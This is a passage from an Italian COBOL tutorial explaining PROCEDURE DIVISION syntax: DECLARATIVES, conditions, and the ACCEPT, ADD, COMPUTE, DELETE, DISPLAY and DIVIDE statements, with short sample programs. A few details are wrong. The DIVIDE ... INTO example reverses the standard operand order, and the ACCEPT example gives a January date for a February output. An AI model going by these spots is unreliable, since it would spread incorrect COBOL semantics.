 |      USE statement                     |
 <      ---                               >...
 | {paragraph-name.                       |
 |       [sentence]...}...                |
 \                                        /
 END DECLARATIVES.
 --- ------------
/ section-name SECTION [segment-number]. \
|               -------                  |
< {paragraph-name.                       >...
|       [sentence]...}...                |
\                                        /
```

Il primo gruppo di istruzioni a essere eseguito è quello che si trova nel primo paragrafo della prima sezione; escludendo quelli inseriti in un blocco '**DECLARATIVES**'. In condizioni normali, la sequenza dei gruppi di istruzioni eseguiti prosegue con quelli successivi, salvo quando si incontrano istruzioni speciali che richiedono esplicitamente di modificare questo tipo di flusso.

83.11.1 Gruppo di sezioni «DECLARATIVES»

Quando all'inizio della divisione '**PROCEDURE DIVISION**' appare la parola chiave '**DECLARATIVES**', che inizia dall'area A del modulo di programmazione, le sezioni dichiarate fino alla riga dove appare '**END DECLARATIVES**' (sempre a partire dall'area A), non vengono eseguite normalmente, ma solo al verificarsi di certe condizioni.

```
DECLARATIVES.
------------
/ section-name SECTION [segment-number]. \
|               -------                  |
|      USE statement                     |
<      ---                               >...
| {paragraph-name.                       |
|       [sentence]...}...                |
\                                        /
END DECLARATIVES.
--- ------------
```

Ogni sezione di questo gruppo speciale, inizia con una o più istruzioni '**USE**', prima di procedere con dei paragrafi contenenti altre istruzioni. L'istruzione '**USE**' serve ad abbinare l'esecuzione della sezione (a partire dal primo dei suoi paragrafi), a condizione che si verifichi una certa condizione:

```
                                               / {file-name}... \
                                               |                |
                     /           \             | INPUT          |
                     | EXCEPTION |             | -----          |
USE AFTER STANDARD < ---------  > PROCEDURE ON < OUTPUT         >
--- -----            | ERROR     | ---------   | ------         |
                     \ -----     /             | I-O            |
                                               | ---            |
                                               \ EXTEND         /
                                                 ------
```

Tenendo conto che le parole chiave '**`EXCEPTION`**' e '**`ERROR`**' del modello sono equivalenti, si intende che questa istruzione serve ad attivare la sezione che la contiene se si verifica una condizione di errore, che non sia stato gestito diversamente all'interno del programma, riguardante: un certo file (***file-name***), un file qualunque aperto in lettura ('**`INPUT`**'), scrittura ('**`OUTPUT`**'), lettura e scrittura ('**`I-O`**') o in estensione ('**`EXTEND`**').

Viene mostrato l'esempio di un piccolo programma completo, che ha lo scopo di leggere un file ('`input.txt`') e di mostrarne il contenuto sullo schermo:

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-DECLARATIVES.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-26.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "input.txt"
001300                            ORGANIZATION IS LINE SEQUENTIAL
001400                            FILE STATUS IS STATO-FILE-DA-LEGGERE.
001500*
001600 DATA DIVISION.
001700*
001800 FILE SECTION.
001900*
002000 FD  FILE-DA-LEGGERE.
002100 01  RECORD-DA-LEGGERE            PIC X(79).
002200*
002300 WORKING-STORAGE SECTION.
002400 77  STATO-FILE-DA-LEGGERE        PIC XX.
002500*
002600 PROCEDURE DIVISION.
002700*
002800 DECLARATIVES.
002900 FILE-ACCESS-ERROR SECTION.
003000     USE AFTER STANDARD ERROR PROCEDURE ON INPUT.
003100 FILE-ACCESS-ERROR-RECOVERY.
003200     DISPLAY "FILE ACCESS ERROR: ", STATO-FILE-DA-LEGGERE.
003300     STOP RUN.
003400 END DECLARATIVES.
003500*
003550 MAIN-PROCEDURE SECTION.
003600 MAIN.
003700     OPEN INPUT FILE-DA-LEGGERE.
003800     PERFORM LETTURA UNTIL 0 = 1.
003900     CLOSE FILE-DA-LEGGERE.
004000*
004100     STOP RUN.
004200*
004300 LETTURA.
004400     READ FILE-DA-LEGGERE.
```

```
004500     DISPLAY RECORD-DA-LEGGERE.
004600*
```

Si può osservare nel programma che il ciclo di lettura non termina mai, perché la condizione '**0 = 1**' non si può avverare. Così facendo, dato che la lettura non prevede alcun controllo del superamento della fine del file, si verifica un errore che viene preso in considerazione dalla sezione '**FILE-ACCESS-ERROR**'.

Compilando il programma con OpenCOBOL, l'avvio dell'eseguibile che si ottiene genera un risultato simile a quello seguente:

```
aaaaaaaaaaaaaaaaaaa
bbbbbbbbbbbbbbbbbbb
ccccccccccccccccccc
FILE ACCESS ERROR: 10
```

In pratica, alla fine del file termina la visualizzazione del suo contenuto e si ottiene un messaggio di errore, come organizzato nella sezione '**FILE-ACCESS-ERROR**'.

83.11.2 Sezioni e segmenti

Le sezioni della divisione '**PROCEDURE DIVISION**', oltre al nome possono indicare un numero di segmento, che può andare da zero a 99.

```
section-name SECTION [segment-number].
```

Il numero di segmento serve a raggruppare tutte le sezioni con lo stesso numero in uno stesso segmento, allo scopo di sapere, quale parte del programma deve rimanere simultaneamente nella memoria centrale durante il funzionamento.

Si dividono precisamente due tipi di segmenti: quelli fissi, con numeri da 00 a 49, e quelli indipendenti, da 50 a 99. I segmenti numerati fino al numero 49 devono rimanere sempre in memoria, mentre gli altri devono esserci solo per il tempo necessario al loro funzionamento. Per questa ragione, le sezioni dichiarate nella zona '**DECLARATIVES**', possono essere associate soltanto a segmenti fissi (da 00 a 49).

Naturalmente, questa possibilità di segmentare il programma dipende dal compilatore, che potrebbe limitarsi semplicemente a ignorare il numero di segmento.

83.11.3 Gruppi di istruzioni e istruzioni condizionali

Un gruppo di istruzioni si evidenzia per la presenza del punto fermo conclusivo (seguito da uno spazio). Le istruzioni che non costituiscono gruppi singoli possono essere separate, oltre che con lo spazio, con la virgola, il punto e virgola, e con la parola '**THEN**'.

Le istruzioni condizionali sono quelle che alterano la sequenza normale dell'esecuzione delle istruzioni, sulla base della verifica di una condizione. L'istruzione condizionale tipica è '**IF**', ma molte altre istruzioni prevedono delle parole opzionali per descrivere un'azione da compiere al verificarsi di una certa condizione.

```
                 /                       \  .--       /                       \ --.
                 | { statement-1 }... |  |        | { statement-2 }... |   |
IF condition-1   <                       >  |  ELSE  <                       >   |
--               | NEXT SENTENCE         |  |  ----  | NEXT SENTENCE         |   |
                 \ ---- --------         /  `--       \ ---- --------         / --'
```

Quello che si vede sopra è lo schema sintattico dell'istruzione '**IF**', che incorpora a sua volta altre istruzioni. Naturalmente, le istruzioni incorporate possono contenere altre istruzioni condizionali annidate; in ogni caso, non è possibile suddividere una struttura del genere in gruppi di istruzioni più piccoli, pertanto il punto fermo finale può apparire solo alla fine della struttura più esterna.

```
000000 IF ALTEZZA IS GREATER THAN 190
000000   THEN
000000       DISPLAY "LA PERSONA E` MOLTO ALTA!",
000000       PERFORM PERSONA-MOLTO-ALTA;
000000   ELSE
000000       IF ALTEZZA IS GREATER THAN 170
000000         THEN
000000             DISPLAY "LA PERSONA E` ABBASTANZA ALTA.",
000000             PERFORM PERSONA-ALTA;
000000         ELSE
000000             DISPLAY "LA PERSONA HA UN'ALTEZZA MEDIA O BASSA".
```

L'esempio mostra un'istruzione '**IF**' annidata, dove sono stati usati i vari separatori disponibili, per facilitare la lettura: la parola '**THEN**' non fa parte dell'istruzione, ma introduce qui le istruzioni da eseguire nel caso la condizione si avveri; la virgola viene usata per terminare le istruzioni singole, mentre il punto e virgola si usa per concludere quelle istruzioni dopo le quali si passa all'alternativa (introdotta dalla parola chiave '**ELSE**').

Il punto fermo finale è molto importante, perché rappresenta l'unico modo per stabilire dove finisca tutta la struttura, dal momento che nel linguaggio non è previsto l'uso di parole come «end if».

83.11.4 Sezioni, paragrafi e qualificazione

Quando la parte procedurale del programma si suddivide in sezioni, i nomi dei paragrafi devono essere univoci soltanto nell'ambito della sezione in cui vengono dichiarati.

Quando si deve fare riferimento al nome di un paragrafo che non è unico nel programma, si deve usare la qualificazione per distinguere a quale sezione si sta facendo riferimento; eccezionalmente, se si tratta della sezione in cui ci si trova già, la qualificazione è implicita.

La qualificazione si ottiene aggiungendo la parola '**OF**', oppure '**IN**', seguita dal nome della sezione.

```
                 /    \
                 | IN |
paragraph-name < --  > section-name
                 | OF |
                 \ -- /
```

83.11.5 Espressioni aritmetiche

L'espressione aritmetica è ciò che si traduce in un valore numerico, eventualmente attraverso l'uso di operatori. Gli operatori aritmetici disponibili nel linguaggio COBOL sono molto pochi, limitando le possibilità alle quattro operazioni.

È importante osservare che gli operatori aritmetici, tranne nel caso delle parentesi, vanno separati dai loro argomenti; diversamente, il segno '**-**' verrebbe confuso come carattere che compone una parola. Per esempio, '`A - B`' è un'espressione che rappresenta una sottrazione, mentre '`A-B`' è una parola.

Tabella 83.137. Espressioni aritmetiche.

Espressione	Descrizione
+ *x*	Non modifica il segno di *x*.
- *x*	Inverte il segno di *x*.
x + *y*	Somma i due operandi.
x - *y*	Sottrae da *x* il valore di *y*.
x * *y*	Moltiplica i due operandi.
x / *y*	Divide il primo operando per il secondo.
(...)	Cambia la precedenza stabilendo che quanto contenuto tra parentesi va calcolato prima di ciò che si trova all'esterno.

L'ordine di precedenza nelle espressioni aritmetiche è quello consueto: prima gli operatori unari, che si applicano a un operando singolo, poi la moltiplicazione e la divisione, quindi la somma e la sottrazione.

83.11.6 Espressioni condizionali

Nel linguaggio COBOL si distinguono diversi tipi di espressioni condizionali elementari, che vengono descritte nelle sezioni successive. Le espressioni elementari, a loro volta, si possono combinare in espressioni composte, con l'uso di operatori booleani ed eventualmente con l'aiuto di parentesi tonde per modificare l'ordine di valutazione.

83.11.6.1 Condizioni di relazione

Le condizioni di relazione stabiliscono un confronto tra due valori, che possono essere rappresentati da variabili, costanti o da espressioni aritmetiche. Segue lo schema sintattico:

```
                          / IS [NOT] GREATER THAN \
                          |     ---  -------      |
                          | IS [NOT] LESS THAN    |
/ identifier-1       \    |     ---  ----         |  / identifier-2       \
|                    |    | IS [NOT] EQUAL TO     |  |                    |
< literal-1          >   <      ---  -----        >  < literal-2          >
|                    |    | IS [NOT] >            |  |                    |
\ arith-expression-1 /    |     ---  -            |  \ arith-expression-2 /
                          | IS [NOT] <            |
                          |     ---  -            |
                          \ IS [NOT] =            /
                                ---  -
```

Tabella 83.139. Significato degli operatori di relazione.

Operatore	Descrizione
`IS [NOT] GREATER THEN` `    ---  -------`	maggiore di, non maggiore di
`IS [NOT] >` `    ---  -`	maggiore di, non maggiore di
`IS [NOT] LESS THEN` `    ---  ----`	minore di, non minore di
`IS [NOT] <` `    ---  -`	minore di, non minore di
`IS [NOT] EQUAL TO` `    ---  -----`	uguale a, diverso da
`IS [NOT] =` `    ---  -`	uguale a, diverso da
`IS GREATER THAN OR EQUAL TO` `   -------      --------`	maggiore o uguale a
`IS >=` `   --`	maggiore o uguale a
`IS LESS THAN OR EQUAL TO` `   ----      --------`	minore o uguale a
`IS <=` `   --`	minore o uguale a

Quando gli operandi sono entrambi numerici, indipendentemente dal fatto che la loro rappresentazione sia in forma di «indice» (‘**`INDEX`**’), compatta (‘**`COMPUTATIONAL`**’) o in forma di byte (‘**`DISPLAY`**’), il confronto si basa sul valore numerico che esprimono, tenendo conto del segno, se c’è, considerando positivi i valori senza segno.

Quando si confrontano operandi alfanumerici, o quando anche uno solo è di tipo alfanumerico, il confronto avviene in modo lessicografico (in base all’ordinamento previsto dalla codifica adottata).

83.11.6.2 Condizioni di classe

La condizione di classe serve a stabilire se l'operando a cui si applica è numerico o alfabetico. È numerico un operando che è composto soltanto di cifre da '**0**' a '**9**', con il segno eventuale; è alfabetico un operando composto soltanto dal lettere alfabetiche ed eventualmente da spazi.

La condizione di classe si utilizza solo per verificare il contenuto di variabili che sono state dichiarate con una rappresentazione in byte ('**USAGE IS DISPLAY**').

Segue lo schema sintattico per esprimere la condizione di classe:

```
                          /             \
                          | NUMERIC     |
identifier IS [NOT]       < -------     >
               ---        | ALPHABETIC  |
                          \ ----------  /
```

Naturalmente, se si usa la parola chiave '**NOT**', si intende invertire il significato della condizione.

83.11.6.3 Nomi di condizione

I nomi di condizione, che si dichiarano nella divisione '**DATA DIVISION**' con il numero di livello 88, servono a descrivere il confronto della variabile a cui si riferiscono con i valori che rappresentano.

Supponendo di avere dichiarato il nome di condizione '**PARI**' nel modo seguente:

```
000000     02  CODICE           PIC 9.
000000         88  PARI         0, 2, 4, 6, 8.
000000         88  DISPARI      1, 3, 5, 7, 9.
000000         88  BASSO        0 THRU 4.
000000         88  ALTO         5 THRU 9.
```

Nella divisione '**PROCEDURE DIVISION**' potrebbero apparire righe come quelle successive, per verificare che la variabile '**CODICE**' contenga un valore pari:

```
000000     IF PARI
000000     THEN
000000         PERFORM …;
000000     ELSE
000000         …
```

83.11.6.4 Condizioni di segno

La condizione di segno permette di stabilire se un'espressione aritmetica (e può essere anche solo una costante o una variabile numerica) è positiva, negativa o se vale esattamente zero:

```
                                   /  POSITIVE  \
                                   |  --------  |
arithmetic-expression IS [NOT]     <  NEGATIVE  >
                          ---      |  --------  |
                                   \  ZERO      /
                                      ----
```

83.11.6.5 Condizioni composte e negate

Attraverso gli operatori booleani comuni, si possono definire delle condizioni composte, oppure negate. Si utilizzano le parole chiave '**AND**', '**OR**' e '**NOT**' per esprimere gli operatori booleani noti con lo stesso nome. Con l'ausilio delle parentesi tonde si possono modificare le precedenze nella valutazione delle espressioni.

Il linguaggio COBOL prevede una forma abbreviata per esprimere delle condizioni di relazione composte. Si osservi l'espressione seguente:

```
A > B OR A > C OR A < D
```

Questa potrebbe essere abbreviata così:

```
A > B OR > C OR < D
```

Tuttavia, si comprende che l'abbreviazione comporta maggiore difficoltà interpretativa nella lettura umana del programma sorgente.

83.11.7 Avverbi comuni

Per «avverbi comuni» qui si intendono delle parole chiave che possono far parte di varie istruzioni, fornendo però lo stesso tipo di funzionalità.

Tabella 83.144. Alcuni avverbi comuni.

Avverbio	Descrizione
`ROUNDED`	Quando una variabile deve ricevere il risultato di un'espressione aritmetica e non ha la possibilità di rappresentare in modo esatto i decimali, con l'uso dell'avverbio '**ROUNDED**' si chiede di assegnare un valore arrotondato nella cifra meno significativa.
`SIZE ERROR`	Quando una variabile deve ricevere il risultato di un'espressione aritmetica e non ha la possibilità di rappresentare alcune cifre più significative, si verifica un errore, che può essere espresso dalla condizione '**SIZE ERROR**'. La verifica di questa condizione implica l'indicazione di un'istruzione da eseguire se si verifica questo tipo di errore.

Avverbio	Descrizione
CORRESPONDING	Alcune istruzioni prevedono l'uso dell'avverbio '**CORRESPONDING**' per fare riferimento a variabili strutturate che contengono campi con lo stesso nome, pur non avendo la stessa struttura. Generalmente si usa per assegnare un gruppo di variabili a un altro gruppo, con lo stesso nome, in un'altra struttura.

83.12 Istruzioni della divisione «PROCEDURE DIVISION»

Nelle sezioni successive sono raccolti e descritti, in ordine alfabetico, i modelli sintattici delle istruzioni principali del linguaggio COBOL, da usare nella divisione '**PROCEDURE DIVISION**'.

83.12.1 Istruzione «ACCEPT»

L'istruzione '**ACCEPT**' permette di ricevere un'informazione da una fonte esterna al programma e di assegnarla a una variabile. Generalmente si usa questa istruzione per consentire all'utente l'inserimento di un valore attraverso il terminale che sta utilizzando, ma, a seconda delle possibilità offerte dal compilatore, può servire anche per l'acquisizione di altri dati.

```
                     .--      /  mnemonic-name     \  --.
                     |        |                    |    |
                     |        |  implementor-name  |    |
                     |        |                    |    |
ACCEPT identifier  | FROM   <  DATE              >    |
------               | ----   |  ----              |    |
                     |        |  DAY               |    |
                     |        |  ---               |    |
                     '--      \  TIME              /  --'
                                 ----
```

La fonte di dati per l'istruzione '**ACCEPT**' può essere dichiarata attraverso un nome mnemonico, definito nel paragrafo '**SPECIAL-NAMES**' della sezione '**INPUT-OUTPUT SECTION**' (sezione 83.4.3), un nome particolare che dipende da funzionalità speciali del compilatore, oppure un nome che fa riferimento alla data o all'orario attuale (le parole chiave '**DATE**', '**DAY**', '**TIME**').

Tabella 83.146. Parole chiave standard per definire l'accesso alle informazioni data-orario.

Parola chiave	Descrizione
DATE	Fornisce la data attuale, formata da sei cifre numeriche, secondo la forma ***yymmdd*** (due cifre per l'anno, due per il mese e due per il giorno).
DAY	Fornisce il giorno attuale, formato da cinque cifre numeriche, secondo la forma ***yyddd*** (due cifre per l'anno e tre cifre per il giorno, espresso in quantità di giorni trascorsi dall'inizio dell'anno).
TIME	Fornisce l'orario attuale, formato da otto cifre numeriche, secondo la forma ***hhmmsscc*** (due cifre per l'ora, due per i minuti, due per i secondi e due per i centesimi di secondo).

L'esempio seguente dimostra il funzionamento e l'utilizzo di queste parole chiave standard:

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-ACCEPT-DATE-TIME.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-27.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 77  MY-DATE      PIC X(30).
001200 77  MY-DAY       PIC X(30).
001300 77  MY-TIME      PIC X(30).
001400*
001500 PROCEDURE DIVISION.
001600*
001700 MAIN.
001800     ACCEPT MY-DATE FROM DATE.
001900     ACCEPT MY-DAY  FROM DAY.
002000     ACCEPT MY-TIME FROM TIME.
002100     DISPLAY "DATE: ", MY-DATE.
002200     DISPLAY "DAY:  ", MY-DAY.
002300     DISPLAY "TIME: ", MY-TIME.
002400*
002500     STOP RUN.
002600*
```

Avviando questo programma il giorno 27 gennaio 2005, alle ore 13:30.45, si dovrebbe ottenere il risultato seguente:

```
DATE: 050227
DAY:  05058
TIME: 13304500
```

Tabella 83.149. Parole chiave non standard.

Parola chiave	Descrizione
`CONSOLE` `SYSIN`	Quando non si specifica la fonte dei dati per l'istruzione '**`ACCEPT`**', si intende il terminale dal quale il programma è stato avviato; spesso, i compilatori considerano l'uso della parola chiave '**`CONSOLE`**', o di '**`SYSIN`**', come sinonimo di questo comportamento, anche se è quello predefinito.
`COMMAND-LINE`	I compilatori per i sistemi Unix consentono spesso di accedere al contenuto della riga di comando usata per avviare il programma, attraverso l'uso di questa parola chiave.

L'esempio successivo dimostra l'uso di un nome mnemonico per dichiarare l'origine dei dati. Sono evidenziate le righe più significative:

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-ACCEPT.
```

```
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-27.
000500*
000600 ENVIRONMENT DIVISION.
000700 CONFIGURATION SECTION.
000800 SOURCE-COMPUTER.
000900     OPENCOBOL.
001000 SPECIAL-NAMES.
001100     CONSOLE IS STANDARD-INPUT.
001200*
001300 DATA DIVISION.
001400*
001500 WORKING-STORAGE SECTION.
001600 77  MESSAGGIO            PIC X(30).
001700*
001800 PROCEDURE DIVISION.
001900*
002000 MAIN.
002100     DISPLAY "INSERISCI IL MESSAGGIO".
002200     ACCEPT MESSAGGIO FROM STANDARD-INPUT.
002300     DISPLAY "HAI INSERITO: ", MESSAGGIO.
002400*
002500     STOP RUN.
002600*
```

83.12.2 Istruzione «ADD»

L'istruzione '**ADD**' consente di eseguire delle somme. Sono previsti diversi formati per l'utilizzo di questa istruzione.

```
     /              \
     | identifier-1 |
ADD  <              >...  TO { identifier-n  [ROUNDED] }...
---  | literal-1    |     --                  -------
     \              /

    [ ON SIZE ERROR  imperative-statement ]
         ---- -----
```

Nello schema sintattico appena mostrato, si vede che dopo la parola chiave '**ADD**' si elencano delle costanti o variabili con valore numerico, da sommare assieme, sommando poi quanto ottenuto al contenuto delle variabili specificate dopo la parola chiave '**TO**'. L'opzione '**ROUNDED**' richiede di eseguire un arrotondamento se la variabile ricevente non può rappresentare in modo esatto il valore; l'opzione '**SIZE ERROR**' serve a eseguire un'istruzione nel caso una delle variabili riceventi non possa accogliere la porzione più significativa del valore ottenuto dalla somma. Si osservi l'esempio seguente:

```
000000     ADD 1, 2, 3, TO A.
```

Supponendo che la variabile '**A**', prima della somma contenga il valore 10, dopo la somma contiene il valore 16 (1+2+3+10).

```
             /                \  /                \
             | identifier-1 |   | identifier-2 |
       ADD   <                >  <                >...
       ---   | literal-1      |  | literal-2      |
             \                /  \                /

           GIVING { identifier-n  [ROUNDED] }...
           ------                  -------
           [ ON SIZE ERROR  imperative-statement ]
                ---- -----
```

Quando al posto della parola chiave '**TO**', si usa '**GIVING**', la somma dei valori che precede tale parola chiave viene assegnata alle variabili indicate dopo, senza tenere in considerazione il loro valore iniziale nella somma. Valgono le stesse considerazioni già fatte a proposito delle opzioni '**ROUNDED**' e '**SIZE ERROR**'. Si osservi l'esempio seguente:

```
000000     ADD 1, 2, 3, GIVING A.
```

Qualunque sia il valore iniziale della variabile '**A**', dopo la somma questa contiene il valore 6 (1+2+3).

```
      /               \
      | CORR          |
ADD   < ----          >  identifier-1  TO  identifier-2  [ROUNDED]
---   | CORRESPONDING |                --                 -------
      \ ------------- /

    [ ON SIZE ERROR  imperative-statement ]
         ---- -----
```

In questo ultimo caso, la somma fa riferimento a variabili strutturate, dove i campi della prima variabile devono essere sommati ai campi della seconda variabile che hanno lo stesso nome della prima. Valgono le stesse considerazioni già fatte a proposito delle opzioni '**ROUNDED**' e '**SIZE ERROR**'.

83.12.3 Istruzione «CLOSE»

Attraverso l'istruzione '**CLOSE**' si può chiudere un file aperto. Questa istruzione non riguarda i file definiti esplicitamente per le funzionalità di riordino e fusione del COBOL, perché questi non vengono aperti. La sintassi dell'istruzione può essere più o meno ricca, a seconda delle estensioni che offre il compilatore; tuttavia, lo schema seguente si adatta alla maggior parte delle situazioni:

```
        /              .--      /            \  --.  \
        |              |        | NO REWIND |     |  |
CLOSE   <  file-name-1 |  WITH  < -- ------  >    |  > ...
-----   |              |        | LOCK       |    |  |
        \              `--      \ ----       /  --'  /
```

Il file indicato viene chiuso, eventualmente con delle opzioni. Se si tratta di un file sequenziale a nastro, si può utilizzare l'opzione '**NO REWIND**', con la quale si vuole evitare che il nastro venga riavvolto automaticamente dopo la chiusura, così da poter accedere eventualmente a un file successivo, già esistente o da creare sullo stesso nastro. L'opzione '**LOCK**' serve a impedire che il file possa essere riaperto nel corso del funzionamento del programma.

Nel caso si utilizzino dei nastri, quelli che il programma ha chiuso senza riavvolgere, vengono comunque riavvolti alla conclusione del programma stesso; inoltre, alla conclusione del programma vengono chiusi automaticamente i file che sono rimasti ancora aperti.

83.12.4 Istruzione «COMPUTE»

L'istruzione '**COMPUTE**' consente di calcolare un'espressione aritmetica, assegnando il risultato a una o più variabili:

```
COMPUTE  { identifier  [ROUNDED] }... = arithmetic-expression
-------                  -------
    [ ON SIZE ERROR  imperative-statement ]
         ---- -----
```

La variabile che nello schema sintattico appare con il nome ***identifier*** deve essere scalare e di tipo numerico, anche se può contenere una maschera di modifica. Possono essere indicate più variabili a sinistra del segno '**=**' e ognuna riceve una copia del risultato dell'espressione alla destra.

L'opzione '**ROUNDED**' serve a richiedere un arrotondamento se la variabile ricevente non può rappresentare il risultato con la stessa precisione ottenuta dal calcolo dell'espressione; l'opzione '**SIZE ERROR**' consente di richiamare un'istruzione nel caso una delle variabili riceventi non fosse in grado di contenere la parte più significativa del valore ottenuto calcolando l'espressione.

```
000000     COMPUTE D = A * B + C.
```

L'esempio mostra che si vuole assegnare alla variabile '**D**' il risultato dell'espressione '**A * B + C**' (A moltiplicato B, sommato a C).

83.12.5 Istruzione «DELETE»

L'istruzione '**DELETE**' cancella un record logico da un file organizzato in modo relativo o a indice (sono esclusi i file organizzati in modo sequenziale).

```
DELETE  file-name  RECORD  [INVALID KEY imperative-statement]
------                      -------
```

Per poter cancellare un record è necessario che il file sia stato aperto in lettura e scrittura ('**I-O**').

Se il file viene utilizzato con un accesso sequenziale, l'opzione '**INVALID KEY**' non è applicabile e non deve essere scritta nell'istruzione. Inoltre, utilizzando un accesso sequenziale, prima di eseguire un'istruzione '**DELETE**' è necessario che il puntatore del record sia stato posizionato attraverso un'istruzione '**READ**'. L'istruzione '**READ**' deve precedere immediatamente l'istruzione '**DELETE**', che così può cancellare il record appena letto.

Quando il file viene utilizzato con un accesso diretto ('**RANDOM**') o dinamico ('**DYNAMIC**'), l'opzione '**INVALID KEY**' è obbligatoria, a meno di avere dichiarato un'azione alternativa, in caso di errore, nella zona di istruzioni definite come '**DECLARATIVES**', all'inizio della divisione '**PROCEDURE DIVISION**'. Per individuare il record da cancellare, si fa riferimento alla

chiave, come specificato dalla dichiarazione '**RECORD KEY**', associata al file in questione. Se si tenta di cancellare un record indicando una chiave che non esiste, si ottiene l'errore che fa scattare l'esecuzione dell'istruzione associata all'opzione '**INVALID KEY**'.

Dipende dal compilatore il modo in cui viene trattato effettivamente il record da cancellare: questo potrebbe essere sovrascritto con un valore prestabilito, oppure potrebbe essere semplicemente segnato per la cancellazione; in ogni caso, il record non viene cancellato fisicamente dal file.

Quando si accede al file attraverso un indice, bisogna considerare che la cancellazione può provocare la comparsa di record con chiavi doppie, se la cancellazione implica la sovrascrittura del record con un certo valore; inoltre, se il file contiene record con chiavi doppie, la cancellazione di un record specificando la sua chiave, può portare a cancellare quello sbagliato. Pertanto, in presenza di file a indice con chiavi doppie, conviene usare un accesso sequenziale per individuare in modo esatto il record da cancellare.

83.12.6 Istruzione «DISPLAY»

L'istruzione '**DISPLAY**' consente di emettere un messaggio attraverso un dispositivo che consenta di farlo. Generalmente, se usata senza opzioni, la visualizzazione avviene attraverso il terminale dal quale è stato avviato il programma.

```
          /              \      .--      /                  \  --.
          | literal      |      |        | implementor-name |    |
DISPLAY   <              >...   |  UPON  <                  >    |
-------   | identifier   |      |  ----  | mnemonic-name    |    |
          \              /      '--      \                  /  --'
```

Osservando lo schema sintattico si vede che dopo la parola chiave '**DISPLAY**' si possono mettere delle costanti letterali o dei nomi di variabile. Questi elementi possono rappresentare sia valori alfanumerici, sia numerici (tuttavia, il compilatore potrebbe rifiutarsi di accettare delle variabili di tipo '**INDEX**'): è il compilatore che provvede a eseguire le conversioni necessarie. L'elenco di costanti o di variabili viene concatenato prima della visualizzazione.

L'aggiunta dell'opzione '**UPON**' consente di specificare dove deve essere emesso il messaggio. Si può indicare una parola chiave definita dal compilatore, che identifica qualche tipo di dispositivo, oppure un nome mnemonico, da specificare nel paragrafo '**SPECIAL-NAMES**' della sezione '**INPUT-OUTPUT SECTION**' (sezione 83.4.3).

Tabella 83.161. Parole chiave non standard.

Parola chiave	Descrizione
CONSOLE SYSOUT	Quando non si specifica la fonte dei dati per l'istruzione '**ACCEPT**', si intende il terminale dal quale il programma è stato avviato; spesso, i compilatori considerano l'uso della parola chiave '**CONSOLE**', o di '**SYSOUT**', come sinonimo di questo comportamento, anche se è quello predefinito.

L'esempio successivo mostra un uso abbastanza comune dell'istruzione '**DISPLAY**':

```
000000     DISPLAY "ATTENZIONE: ", A, " + ", B, " = ", C.
```

L'esempio mostra in particolare il concatenamento che si vuole ottenere. Si ricorda che non è importante se le variabili utilizzate nell'istruzione sono alfanumeriche o numeriche, perché è il compilatore che provvede a convertire tutto nel modo più appropriato al tipo di dispositivo che deve emettere il messaggio.

83.12.7 Istruzione «DIVIDE»

L'istruzione '**DIVIDE**' consente di eseguire delle divisioni, fornendone il risultato ed eventualmente il resto. Sono previsti diversi formati per l'utilizzo di questa istruzione.

```
              /              \
              | identifier-1 |
    DIVIDE    <              >  INTO  { identifier-2 [ROUNDED] }...
    ------    | literal-1    |  ----                  -------
              \              /

        [ ON SIZE ERROR  imperative-statement ]
             ---- -----
```

Nello schema sintattico appena mostrato, si vede che dopo la parola chiave '**DIVIDE**' viene indicato un valore, in forma costante o attraverso una variabile; questo valore viene diviso per la variabile indicata dopo la parola chiave '**INTO**' e il risultato viene assegnato alla stessa variabile che funge da divisore. Se appaiono più variabili dopo la parola '**INTO**', la divisione viene ripetuta per ognuna di quelle, assegnando rispettivamente il risultato.

L'opzione '**ROUNDED**' richiede di eseguire un arrotondamento se la variabile ricevente non può rappresentare in modo esatto il valore; l'opzione '**SIZE ERROR**' serve a eseguire un'istruzione nel caso una delle variabili riceventi non possa accogliere la porzione più significativa del valore ottenuto dalla somma. Si osservi l'esempio seguente:

```
000000     DIVIDE 100 INTO A.
```

Supponendo che la variabile '**A**', prima della divisione contenga il valore 5, dopo l'operazione contiene il valore 20 (100/5). Si potrebbe scrivere la stessa cosa utilizzando l'istruzione '**COMPUTE**':

```
000000     COMPUTE A = 100 / A.
```

Lo schema sintattico successivo mostra l'utilizzo di '**DIVIDE**' in modo da non alterare i valori utilizzati come divisori:

```
            /              \  /      \  /              \
            | identifier-1 |  | INTO |  | identifier-2 |
    DIVIDE  <              >  < ---- >  <              >
    ------  | literal-1    |  | BY   |  | literal-2    |
            \              /  \ --   /  \              /

        GIVING identifier-3  [ROUNDED]
        ------                -------
        [ REMAINDER  identifier-4  [ROUNDED] ]
          ---------
        [ ON SIZE ERROR  imperative-statement ]
             ---- -----
```

Nella forma appena mostrata, dove le parole '**INTO**' e '**BY**' sono equivalenti, la divisione avviene immettendo il risultato dell'operazione nella variabile indicata dopo la parola '**GIVING**'. Valgono le stesse considerazioni già fatte a proposito delle opzioni '**ROUNDED**' e '**SIZE ERROR**'. Si osservi l'esempio seguente che ripete sostanzialmente l'esempio già mostrato in precedenza:

```
000000     DIVIDE 100 BY 5 GIVING A.
```

Utilizzando l'opzione '**REMAINDER**', si fa in modo che il resto della divisione venga inserito nella variabile che segue tale parola. Tuttavia, si osservi che per resto si intende ciò che rimane moltiplicando il quoziente ottenuto (***identifier-3***) per il divisore (***identifier-2*** o ***literal-2***), sottraendo poi questo valore ottenuto dal dividendo (***identifier-1*** o ***literal-1***). Si osservi l'esempio che segue:

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-DIVIDE.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-27.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 77  A            PIC 9(10)V99.
001200 77  B            PIC 9(10)V99.
001400*
